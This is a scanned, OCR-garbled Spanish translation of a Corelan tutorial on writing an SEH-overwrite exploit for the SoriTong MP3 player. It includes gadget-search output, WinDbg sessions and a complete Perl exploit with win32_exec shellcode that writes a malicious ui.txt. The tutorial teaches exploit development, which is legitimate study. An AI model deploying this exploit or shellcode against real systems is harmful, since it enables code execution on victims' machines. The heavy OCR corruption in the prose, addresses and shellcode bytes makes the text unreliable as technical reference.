ModLoad: 76e80000 76e8e000  C:\WINDOWS\system32\rtutils.dll

Estamos especialmente interesados en las DLL'sciispe de la
aplicacion. Encontremos un POP POP RET en esa Dlando
findjmp.exe. Podemos buscar secuencias de POP BEJPeR esa DLL.
Por ejemplo, POP EDI.

Una de las siguientes direcciones podrian ser,ps&mue no contenga
bytes NULL.

C:\Program Files\SoriTong>c:\findjmp\findjmp.exe Player.dll edi | grep pop |
grep -v "000"

0x100104F8 pop edi - pop - retbis
0x100106FB pop edi - pop - ret
0x1001074F pop edi - pop - retbis
0x10010CAB pop edi - pop - ret
0x100116FD pop edi - pop - ret
0x1001263D pop edi - pop - ret
0x100127F8 pop edi - pop - ret
0x1001281F pop edi - pop - ret
0x10012984 pop edi - pop - ret
0x10012DDD pop edi - pop - ret
Ox10012E17 pop edi - pop - ret
Ox10012E5E pop edi - pop - ret
Ox10012E70 pop edi - pop - ret
0x10012F56 pop edi - pop - ret
0x100133B2 pop edi - pop - ret
0x10013878 pop edi - pop - ret
0x100138F7 pop edi - pop - ret
0x10014448 pop edi - pop - ret
0x10014475 pop edi - pop - ret
0x10014499 pop edi - pop - ret
0x100144BF pop edi - pop - ret
0x10016D8C pop edi - pop - ret
0x100173BB pop edi - pop - ret
0x100173C2 pop edi - pop - ret
0x100173C9 pop edi - pop - ret
0x1001824C pop edi - pop - ret
0x10018290 pop edi - pop - ret
0x1001829B pop edi - pop - ret
0x10018DES8 pop edi - pop - ret
Ox10018FE7 pop edi - pop - ret
0x10019267 pop edi - pop - ret
Ox100192EE pop edi - pop - ret
0x1001930F pop edi - pop - ret
0x100193BD pop edi - pop - ret
0x100193C8 pop edi - pop - ret
Ox100193FF pop edi - pop - ret
0x1001941F pop edi - pop - ret
0x1001947D pop edi - pop - ret
0x100194CD pop edi - pop - ret
0x100194D2 pop edi - pop - ret

0x1001B7E9 pop edi - pop - ret
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0x1001B883 pop edi - pop - ret
©x1001BDBA pop edi - pop - ret
©x1001BDDC pop edi - pop - ret
0x1001BE3C pop edi - pop - ret
0x1001D86D pop edi - pop - ret
0x1001D8F5 pop edi - pop - ret
Ox1001E0C7 pop edi - pop - ret
Ox1001E812 pop edi - pop - ret

Imaginemos que queremos usar 0x1008de8, el cuaspunde a:

0:000> u 10018de8
Player!Player_ Action+0x9528:

10018de8 5T pop edi
10018de9 5e pop esi
10018dea c3 ret

Deberias poder usar cualquiera de la direcciones.

Nota: como puedes ver arrib@ndjmp requiere que se especifique un
registro. Puede ser mas facil usafpescarde Metasploit (solo tienes que
ejecutar msfpescan en contra de la dll, con elnpetrd -p (buscar POP
POP RET) y sacar todo en un archivo. Msfpescan eguiere que
especifique un registro, simplemente recibe toasasdmbinaciones...

Luego abre el archivo y veras todas las direccioddternativamente,
puedes utilizammemdumppara volcar toda la memoria del proceso a una
carpeta y, a continuacion, utilizar msfpescan-Mrget>-p para buscar
todas las combinaciones de POP POP RET de la memori

El payload del exploit debe verse asi:

[584
characters][0xeb,0x06,0x90,0x90][0x10018de8][NOPs][Shellcode]
junk next SEH current SEH

De hecho, los exloits de SEH mas tipicos son asi:

popfpopfret address  stage 2 (shellcode)

Para ubicar la Shellcode (la cual deberia estgrudssdel SEH) puedes
reemplazar los 4 bytes en el préximo SEH por BEs te permitira
inspeccionar los registros.
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Un ejemplo:
my $junk = "A" x 584;
my $nextSEHoverwrite = "\xcc\xec\xec\xece" ; #breakpoint

my $SEHoverwrite = pack( V' ,0x1001E812); #pop pop ret from player.dll

my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM"
my $junk2 = "\x90"  x 1000;

open(myfile, ">ui.txt' );

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite. $shellcode.$junk2;
(elc.fbc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504
edi=0012fd64

eip=00422e33 esp=0012dal4 ebp=0012fd38 iopl=0 nv up ei ng nz
ac pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0

efl=00010296

*** WARNING: Unable to verify checksum for SoriTong .exe

*** ERROR: Symbol file could not be found. Default ed to export

symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:

00422e33 8810 mov  byte ptr [eax],dI

ds:0023:00130000=41

0:000> g

(elc.fbc): Break instruction exception - code 80000 003 (first chance)
eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c
edi=7c9032a8

eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0 nv up eipl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0

efl=00000246
<Unloaded_ud.drv>+0x12fd63:
0012fd64 cc int 3

Después de pasarle la primera excepcion a la agitala aplicacion se
detiene por los BP’s en nSEH. EIP actualmente apainprimer byte en
NSEH. Entonces, deberias poder ver la Shellcodgtés bmas abajo (4
bytes para el nSEH, y 4 bytes para el SEH)

0:000> d eip

0012fd64 cc cc cccc 12 e8 01 10- 31 41424344454647 ... 1ABCDEFG
0012fd74 48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49 HIJKLM2ABCDEFGHI
0012fd84 4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b JKLM3ABCDEFGHIJK
0012fd94  4c4d 909090909090-9090909090909090 LM..... ...
0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 9090 ......eeeeee

0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 9090 ..ovoivriene

0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 9090 ......oeeeee
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0012fdd4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 9090 ..o

Perfecto. La Shellcode es visible y comienza exaetde donde habiamos
esperado. He usado una string corta para prol&irddcode, puede ser una
buena idea usar una string mas larga solo pardicaerique no hay
“agujeros” en ninguna parte de la Shellcode. SHallcode comienza en
un Offset de donde comenzaria, entonces necesitaddificar el
Jumpcode en el nSEH asi saltaria mas lejos.

Ahora, estamos listos para construir el exploit oo Shellcode real y
reemplazar los BP’s en el nSEH por el Jumpcode.

# Exploit for Soritong MP3 player
#

# Written by Peter Van Eeckhoutte
# http:

#

#

my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90"; #jump 6 bytes
my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret from player.dll

# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum
http:

my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\XF8\XFF\XxFf\xFff\x4f\x49\x49\x49\x49\x49" .
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" .
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" .
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" .
"\x4Ff\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" .
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" .
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" .
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48" .
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" .
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4F\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";

my $junk2 = "\x90" x 1000;



Creacion de Exploits SEH parte 3 por corelancOd3rraducido por
lvinson/CLS

open(myfile, '>ui.txt");

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Crea el archivo ui.txt, lo pone en su carpeta (& gkins) y abre
directamente el soritong.exe (fuera del depurador).

B coliator ————— RIal

Edit View Help
| 0.

I Backzpace

b 7 g 9 £ zqrk

Ay 4 5 E : A
M5 1 2 3 : 14
b+ ] + + =

iBaaam!©

Ahora veamos que paso tras bastidores. Pon un BRirgipio de la
Shellcode y ejecuta soritong.exe en Windbg.

Primera excepcion aportuna:

El Stack (ESP) apunta a 0x0012dal4.

€ax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017edec edi=0012fd64
eip=00422e33 esp=0012dalsd ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc
Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010296
0:000> lexchain

0012fd64: *** WARNING: Unable to verify checksum for C:\Program
Files\SoriTong\Player.dl1l

*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Program Files\SoriTong\Player.dll -

Player!Player_Action+9528 (10018de8)

Invalid exception stack at 909006eb

=> El manejador apunta a 10018de8 que es el POPREJP Cuando le
permitimos que se ejecute de nuevo, el POP POP $tE&jecutara y
causara otra excepcion. Cuando eso suceda, s¢aegeelicodigo “BE 06
90 90” (el proximo SEH) y EIP apuntara a 0012fdBc,cual es nuestra
Shellcode.
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0:000> g
(foc.b80): Break instruction exception - code 80000003 (first chance)
€ax=00000000 ebx=00000000 ecx=10018de8 edx=7c9032bc esi=0012d72c edi=7c9032a8

eip=0012fd6c esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
<Unloaded_ud.drv>+0x12fdéb:

ee12fd6c cc int 3

0:000> u 0012fd64
<Unloaded_ud.drv>+0x12fd63:

0012fd64 ebo6 jmp <Unloaded_ud.drv>+0x12fd6b (0012fd6c)
0012fd66 90 nop

0012fd67 90 nop

0:000> d 0012fd60

0012fd60 41 41 41 41 -e8 8d 01 10 cc eb 83 59 AAAA........... Y
0012fd70 eb 05 e8 f8 ff ff ff 4f-49 49 49 49 49 49 51 5a ....... OITIITIQZ

0012fd80 56 54 58 36 33 30 56 58-34 41 30 42 36 48 48 30 VTX630VX4A0B6HHO
0012fd90 42 33 30 42 43 56 58 32-42 44 42 48 34 41 32 41 B30BCVX2BDBH4A2A
0012fda@ 44 30 41 44 54 42 44 51-42 30 41 44 41 56 58 34 DOADTBDQBOADAVX4
0012fdb@ 5a 38 42 44 4a 4Af 4d 4e-4f 4a 4e 46 44 42 30 42 Z8BDIOMNOINFDBOB
0012fdc@ 50 42 30 4b 38 45 54 4e-33 4b 58 4e 37 45 50 4a PBOK8S8ETN3KXN7EPJ
0012fdde 47 41 30 4f 4e 4b 38 4f-44 4a 41 4b 48 4f 35 42 GAOONK8ODIAKHOSB

o 4141 41 41 ultimos caracteres del buffer.

. : proximo SEH, hace un salto de 6 bytes.

e e88d01 10: SE Handler actual (POP POP RET causara lamgbxi
excepcion, haciendo que el codigo vaya al puntedgiimo SEH vy
ejecute “eb 06 90 90").

e cc eb 03 59inicio de la Shellcode (agreguécc que es un BP), en
la direccion 0x0012fd6c.

Puedes ver el proceso de construccion del expiaat siguiente video:

Exploiting SoritengMP3-Player{SEH}en Windows..

p & 0:00/647 o | 9
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http://www.youtube.com/watch?v=FYmfYOOrOQ@htre otros.

Puedes verl/visitar mi lista de reproduccion de gste mis otros videos de
construccion de scripts futuros en:

http://www.youtube.com/view play list?p=0E2E3562RBED3

Encontrando POP POP RET y otras
Instrucciones utiles via Memdump

En este y tutoriales anteriores de exploits, hewisto 2 formas de
encontrar ciertas instrucciones en archivos EXBEEL's o drivers.

Usando una busqueda en memoria con Windbg o Findijiawp una tercera
de encontrar instrucciones utiles: usando Memdump.

Metasploit (para Linux) tiene una herramienta lldmaviemdump.exe
(oculta en alguna parte de la carpeta de herraasen®i has instalado
Memdump en una maquina con Windows (dentro de aygventonces
puedes comenzar a usarla.

& C:'.cygwin'home' peter' framework-3.2% tools',memdump

File Edit ‘Miew Favorites Tools  Help

OBackv.\_/]v .7 = ¥ XE)|E|v

1/-. ) Search Folders

fddress {7 Covgwinthomel peter framewark-3, 2 boals memdump

............ memdurmp.c
/} LSV : i Source File merndurnp, exe
.C Bl

README.memdump
MEMDUMP File:
1 KE

Primero, ejecuta la aplicacibn que estas tratando edplotar (sin
depurador) luego encuentra ID del procesos (PHda @sta aplicacion.
Crea una carpeta en tu disco duro y ejecutalo.
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Ejemplo:

memdump.exe 3524 c:\cygwin\home\peter\memdump

[*] Creating dump directory...c:\cygwin\home\peter\ memdump
[*] Attaching to 3524...

[*] Dumping segments...

[*] Dump completed successfully, 112 segments.

Ahora, con un linea de comandos de cygwin, ejatisfaescan (puede ser
encontrado directamente en una carpeta de Metgsploguarda el
resultado en un archivo de texto.

peter@xptest2 ~/framework-3.2
$ ./msfpescan -p -M /home/peter/memdump > /home/pet er/scanresults.txt

Abre el archivo .txt y encontraras instrucciondsresantes:

_jol x|
File Edit View Insert Format Help
D(E| SR @ &l=eo %
[/ home/ peter/memdwnp/ 01220000, rog] :J

O0x01221045 pop esi; pop ebx: ret
0x01221199 pop ebp:; pop ebx: ret
Ox01zZz21lZaa pop edi; pop esi; ret
0x01221321 pop ebp: pop ebx; retn O0xOO010 —
0x01221463 pop esi; pop ebx; retn OxO004
0x01221ced pop ebp: pop ebx: ret
0x01221df9 pop edi; pop esi; retn OxO004
0x01222a51 pop esi; pop ecx: ret
0x01222h76 pop ebx; pop edi; retn O0xOO010
O0x01222e3c pop edi; pop esi; retn OxOO010
0x01223565 pop esi; pop edi; retn OxOO010
O0x012236£7 pop ebx: pop ebp; retn O0x000c

[fhomefpeterfmemdumpVD1230000.rng]

0x01231045 pop esi; pop ebx: ret

0x01231199 pop ebp: pop ebx: ret

0x01231Zaa pop edi; pop esi:; ret

0x01231321 pop ebp; pop ebx; retn Ox0010

0x01231463 pop esi; pop ebx; retn O0xO004

0x01231cc0 pop ebp: pop ebx: ret

0x01231fe® pop edi; pop esi; retn OxOO004

0x0123353b pop ebp: pop ebx; retn OxOO10

0x012335fc pop ebp:; pop ebx; retn OxOO010 LI

For Helo. press F1 #

Todo lo queda es encontrar una direccion sin careetNULL, eso esta en
una de las DLL"s que no esta compilada con Safe&BNez de tener que
construir opcodes para combinaciones POP POP Rfifay en memoria,
puedes solamente Dumpear memoria y listar todasolabinaciones POP
POP RET de una vez. Te ahorra algo de tier@po.

¢, Preguntas? ¢ Comentarios? ¢ Tips y Trucos?

https://www.corelan.be/index.php/forum/writing-eaibb
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Algunos enlaces de depuradores interesantes:

Ollydbg
http://www.ollydbg.de/

OllySSEH module
http://www.openrce.org/downloads/details/244/0I55

Ollydbg plugins
http://www.openrce.org/downloads/browse/OllyDbg dihs

Windbg
http://www.microsoft.com/whdc/devtools/debugging/

Windbg !exploitable module
http://msecdbqg.codeplex.com/
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